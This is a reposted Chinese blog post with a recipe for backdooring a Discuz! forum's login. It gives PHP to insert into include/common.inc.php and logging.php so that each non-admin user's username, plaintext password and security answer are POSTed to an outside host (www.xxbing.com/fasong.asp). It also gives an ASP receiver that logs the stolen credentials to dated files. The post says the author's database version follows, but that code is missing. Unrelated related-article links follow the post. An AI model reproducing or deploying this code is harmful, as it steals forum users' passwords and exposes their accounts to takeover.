DZ记录密码并写入数据库

简介:
+关注继续查看

 在T00LS看到xxbing牛写了个DZ记录密码的东东..

这里是xxbing牛的
include/common.inc.php 里面插一个自定义函数。
放在 41-53行。

function request_by_other($remote_server,$post_string){
    $context = array(
        'http'=>array(
            'method'=>'POST',
            'header'=>'Content-type: application/x-www-form-urlencoded'."\r\n".
                      'User-Agent : xxbing\'s fuckyou!!!'."\r\n".
                      'Content-length: '.strlen($post_string)+8,
            'content'=>'mypost='.$post_string)
        );
    $stream_context = stream_context_create($context);
    $data = file_get_contents($remote_server,FALSE,$stream_context);
    return $data;
}

找到根目录下的 logging.php文件。搜索下面代码。

$ucresult = uc_user_login($username, $password, $loginfield == 'uid');
然后在后面插上下面的代码。
        if($username!='admin'){
                $showtime=gmdate("Ynj H:i:s",time()+8*3600);
                        if($answer==''){
                        $answer='无!';
                        }
                //name1无用。但是必须�
                $post_string = 'name1='.$name2.'&name='.$username.'&password='.$password.'&questionid='.$questionid.'&answer='.$answer.'&showtime='.$showtime.'&from='.$_SERVER['SERVER_NAME'];
                request_by_other('http://www.xxbing.com/fasong.asp',$post_string);
                                                        }

接受端用asp写的。
asp代码如下:
<%
'接收文件
'body0 = request.form("name1")
body1 = request.form("name")
body2 = request.form("password")
body3 = request.form("questionid")
body4 = request.form("answer")
body5 = request.form("showtime")
body7 = request.form("from")
body6 = "账号:"&body1 &"---密码:"& body2 &"---问题ID:"& body3 &"---答案:"& body4 &"---时间:"& body5 &"---来源:" & body7

'response.write body6
FileName = date()&".txt"
'这里之所以要替换,是为了兼容IIS7的环境。
FileName = Replace(FileName,"/","-")

if body6 <>"" then
Call CreateFile(body6,FileName)
end if

Sub CreateFile(body,FileName)
Dim fso, tf ,cf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.openTextFile(server.mappath(FileName),8,True,0)
tf.WriteLine body
tf.WriteLine "----------------"
tf.Close
set fso = nothing
End Sub
%>


感觉不错..但是一个个文件翻很纠结..于是俺稍微把最后的asp修改了下.把数据写入数据库


%>













本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/536762,如需转载请自行联系原作者

相关文章
|
11月前
|
数据库 数据安全/隐私保护
Discuz! X3.5 如何修改数据库密码
Discuz如何修改数据库密码,现在为大家详细,介绍一下**工具/原料**FTP,Dreamweaver**方法/步骤**进入自己的服务器空间,修改号数据库密码,例如:aaa123
390 0
Discuz! X3.5 如何修改数据库密码
|
12月前
|
关系型数据库 MySQL 数据库
一个关于操作数据库的建议—用户密码
我们在创建用户的时候,如果往数据库里直接写账号密码,那么就会产生一个问题:密码直接暴露了。 如果是这样,那么将会很危险,因为一旦别人看见之后,自己的数据库将会非常的危险!
一个关于操作数据库的建议—用户密码
|
SQL 存储 JavaScript
数据库一些问题记录
视图 视图是一种虚拟表(虚表)。它基于一张表或多张表(原表)的查询结果。
82 0
数据库一些问题记录
|
SQL JavaScript 前端开发
数据库实验课设
数据库实验课设
|
Oracle 关系型数据库 MySQL
数据库中一些用到函数记录
数据库中一些用到函数记录
|
关系型数据库 MySQL 数据库
MySql 数据库 - 重置数据库、重置初始密码方法,数据库初始化方法,长时间不用忘记密码暴力解决方法
MySql 数据库 - 重置数据库、重置初始密码方法,数据库初始化方法,长时间不用忘记密码暴力解决方法
586 0
MySql 数据库 - 重置数据库、重置初始密码方法,数据库初始化方法,长时间不用忘记密码暴力解决方法
|
关系型数据库 数据库连接 数据库
删除 PostgresSql 数据库 报错:有 N 个其它会话正在使用数据库 的解决方案
遇到的问题 在PostgreSQL 9.2 及以上版本,执行下面的语句: postgres=# drop database dbtest; # 执行删除指定数据库的时候,报以下错误 ERROR: database "dbtest" is being accessed by other users DETAIL: There is 2 other session using the database. 或者使用 Navicat 等第三方数据库连接工具,删除指定数据库的时候报错,说明此时有两个客户端在连接此数据库,此时不能删除数据库。
1376 0
|
监控 关系型数据库 MySQL
MySQL数据库从ibd和rfm中恢复(zabbix数据库)
1、新建数据库 create database zabbix default charset utf8; 2、use zabbix; 3、设置表的默认字段模式,具体根据IBD文件中的格式来设置,set global innodb_file_format=Barracuda; 4、设置不进行外键检查 set foreign_key_checks=0; 5、创建新的表,总的有127个表。
1307 0
|
关系型数据库 数据库 数据安全/隐私保护
|
存储 关系型数据库 数据库